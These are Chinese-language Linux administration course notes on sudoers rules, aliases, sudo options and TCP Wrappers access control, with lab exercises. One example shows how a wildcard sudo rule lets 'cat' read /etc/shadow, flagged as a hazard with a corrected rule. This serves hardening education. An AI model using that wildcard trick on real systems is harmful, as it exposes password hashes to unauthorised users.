command: 运行哪些命令
别名
Users和runas:
username
#uid
%group_name
%#gid
user_alias|runas_alias
host:
ip或hostname
network(/netmask)
host_alias
command:
command name
directory(如:/sbin/代表可以执行此目录下的所有命令)
sudoedit(授权用户可以编辑/etc/sudoers文件,不安全)
cmnd_alias
别名有四种类型:User_Alias, Runas_Alias, Host_Alias ,Cmnd_Alias
别名格式:[A-Z]([A-Z][0-9]_)* 必须大写字母开头
别名定义:Alias_Type NAME1 = item1,item2,item3 : NAME2 = item4,item5
vim /etc/sudoers;此文件是只读,更改此文件,退出需要加wq!;
第一次执行"sudo+cmd",需要输入自己的口令
cd /etc/sudoers.d/; vim test; 可以把需要设置的文件放在目录下,利于排错;
示例1:
student ALL=(ALL) ALL
%wheel ALL=(ALL) ALL
示例2:
student ALL=(root) /sbin/pidof,/sbin/ifconfig,/bin/mount,/bin/umount(代表root用户执行命令pidof/ifconfig/mount/umount)
%wheel ALL=(ALL) NOPASSWD: ALL(第一次执行命令,不用输入自己的口令)
sudo mount /dev/sr0 /mnt 代表root用户挂载光盘
sudo cat /etc/passwd
getent group wheel 查看组中成员
groupmems -a feng -g wheel 把feng加入此组
groupmems -l -g wheel 查看组中成员
示例3
User_Alias NETADMIN = netuser1,netuser2
Cmnd_Alias NETCMD = /usr/sbin/ip
NETADMIN ALL=(root) NETCMD
示例4
User_Alias SYSADER=feng,fgq,%admins(组)
User_Alias DISKADER=tom
Host_Alias SERS=www.fgq.com,172.16.0.0/24
Runas_Alias OP=root
Cmnd_Alias SYDCMD=/bin/chown,/bin/chmod
Cmnd_Alias DSKCMD=/sbin/parted,/sbin/fdisk
SYSADER SERS = SYDCMD,DSKCMD(括号没有写,就代表任何人)
DISKADER ALL=(OP) DSKCMD
示例4
User_Alias ADMINUSER = adminuser1,adminuser2
Cmnd_Alias ADMINCMD = /usr/sbin/useradd, /usr/sbin/usermod,/usr/bin/passwd [a-zA-Z]*(更改口令的用户名),!/usr/bin/passwd root(不能更改root口令)
ADMINUSER ALL=(root) NOPASSWD:ADMINCMD,PASSWD:/usr/sbin/userdel
示例5
Defaults:feng runas_default=tom
feng ALL=(tom,jerry) ALL
sudo -u jerry cmd 代表jerry
sudo cmd 代表tom次数多,就设置tom为默认;
示例6
feng 192.168.175.136,192.168.175.138=(root) /usr/sbin/,!/usr/sbin/useradd
示例7
feng ALL=(ALL) /bin/cat /var/log/messages*
sudo cat /var/log/messages /etc/shadow (安全隐患)
解决此隐患
feng ALL=(ALL) /bin/cat /var/log/messages*,!/bin/cat /var/log/messages* *
sudo命令
#ls -l /usr/bin/sudo
sudo -i -u wang 切换身份
sudo [-u user] COMMAND
-V 显示版本信息等配置信息
-u user 默认为root
-l/-ll 列出用户在主机上可用的和被禁止的命令(格式不同)
-v 再延长密码有效期限5分钟,更新时间戳
-k 清除时间戳(1970-01-01),下次需要重新输密码
-K 与-k类似,还要删除时间戳文件
-b 在后台执行指令
-p 改变询问密码的提示符号
示例:-p "password on %h for user %p:"
TCP_Wrappers
介绍
工作在第四层(传输层)的TCP协议
对有状态连接的特定服务进行安全检测并实现访问控制
以库文件形式实现
某进程是否接受libwrap的控制取决于发起此进程的程序在编译时是否针对libwrap进行编译的
判断服务程序是否能够由tcp_wrapper进行访问控制的方法:
ldd /PATH/TO/PROGRAM | grep libwrap.so
strings PATH/TO/PROGRAM | grep libwrap.so
ldd `which vsftpd`(:21)
centos7
rpm -ql telnet-server; telnet@.server; telnet.socket
systemctl start telnet.socket
centos6
xinetd服务监管telnet(:23)
使用
配置文件:/etc/hosts.allow, /etc/hosts.deny
帮助参考:man 5 hosts_access, man 5 hosts_options
检查顺序:hosts.allow, hosts.deny(默认允许)
注意:一旦前面规则匹配,直接生效,将不再继续
基本语法:
daemon_list@host: client_list [ :options :option… ]
daemon_list@host格式
单个应用程序的二进制文件名,而非服务名,例如vsftpd
以逗号或空格分隔的应用程序文件名列表,如:sshd,vsftpd
ALL表示所有接受tcp_wrapper控制的服务程序
主机有多个IP,可用@hostIP来实现控制
如:in.telnetd@192.168.0.254
客户端Client_list格式
以逗号或空格分隔的客户端列表
基于IP地址:192.168.10.1 192.168.1.
基于主机名:www.magedu.com .magedu.com 较少用
基于网络/掩码:192.168.0.0/255.255.255.0
基于net/prefixlen: 192.168.1.0/24(CentOS7)
基于网络组(NIS 域):@mynetwork
内置ACL:ALL,LOCAL,KNOWN,UNKNOWN,PARANOID(man 5 hosts_access)
EXCEPT用法:
示例:vsftpd: 172.16. EXCEPT 172.16.100.0/24 EXCEPT 172.16.100.1
放在/etc/hosts.allow文件里,表示含义:
vsftp服务——172.16可用,172.16.100.1可用,172.16.100.0/24不可用
示例
示例:只允许192.168.1.0/24的主机访问sshd
vim /etc/hosts.allow
sshd: 192.168.1.0
vim /etc/hosts.deny
sshd: ALL
更改之后,马上生效
示例:只允许192.168.1.0/24的主机访问telnet和vsftpd服务
vim /etc/hosts.allow
vsftpd,in.telnetd: 192.168.1.0
vim /etc/hosts.deny
vsftpd,in.telnetd: ALL
[:options]选项
帮助:man 5 hosts_options
deny 主要用在/etc/hosts.allow定义“拒绝”规则
如:vsftpd: 172.16. :deny
allow 主要用在/etc/hosts.deny定义“允许”规则
如:vsftpd: 172.16. :allow
spawn 启动一个外部程序完成执行的操作
twist 实际动作是拒绝访问,使用指定的操作替换当前服务,标准I/O和ERROR发送到客户端,默认至/dev/null
测试工具:
tcpdmatch [-d] daemon[@host] client
-d 测试当前目录下的hosts.allow和hosts.deny
示例
sshd: ALL :spawn echo "$(date) login attempt from %c to %s,%d" >>/var/log/sshd.log
说明:
在/etc/hosts.allow中添加,允许登录,并记录日志
在/etc/hosts.deny中添加,拒绝登录,并记录日志
%c 客户端信息
%s 服务器端信息
%d 服务名
%p 守护进程的PID
vsftpd: 172.16. :twist /bin/echo "connection prohibited"
实验1
centos7
yum -y install sshd; iptables -F
vim /etc/hosts.allow
sshd: ALL :spawn echo "$(date) login attempt from %c to %s,%d" >>/var/log/sshd.log
cat /var/log/sshd.log (当其他主机访问centos7的ip时,此文件自动生成)
centos6
ssh ip(centos7)
实验2
centos7
yum -y install vsftp
vim /etc/hosts.allow
vsftpd,sshd: 172.16. :twist /bin/echo "connection prohibited"
centos6
ssh ip(centos7); ftp ip(centos7)
练习
仅开放本机两个IP地址中的一个地址,172.16.0.X上绑定的sshd和vsftpd服务给172.16.0.0/16网络中除了172.16.0.0/24网络中的主机之外的所有主机,但允许172.16.0.200访问,每次的用户访问都要记录于日志文件中,注:其中X为学号;
编写脚本/root/bin/checkip.sh,每5分钟检查一次,如果发现通过ssh登录失败次数超过10次,自动将此远程IP放入Tcp Wrapper的黑名单中予以禁止防问;
网友评论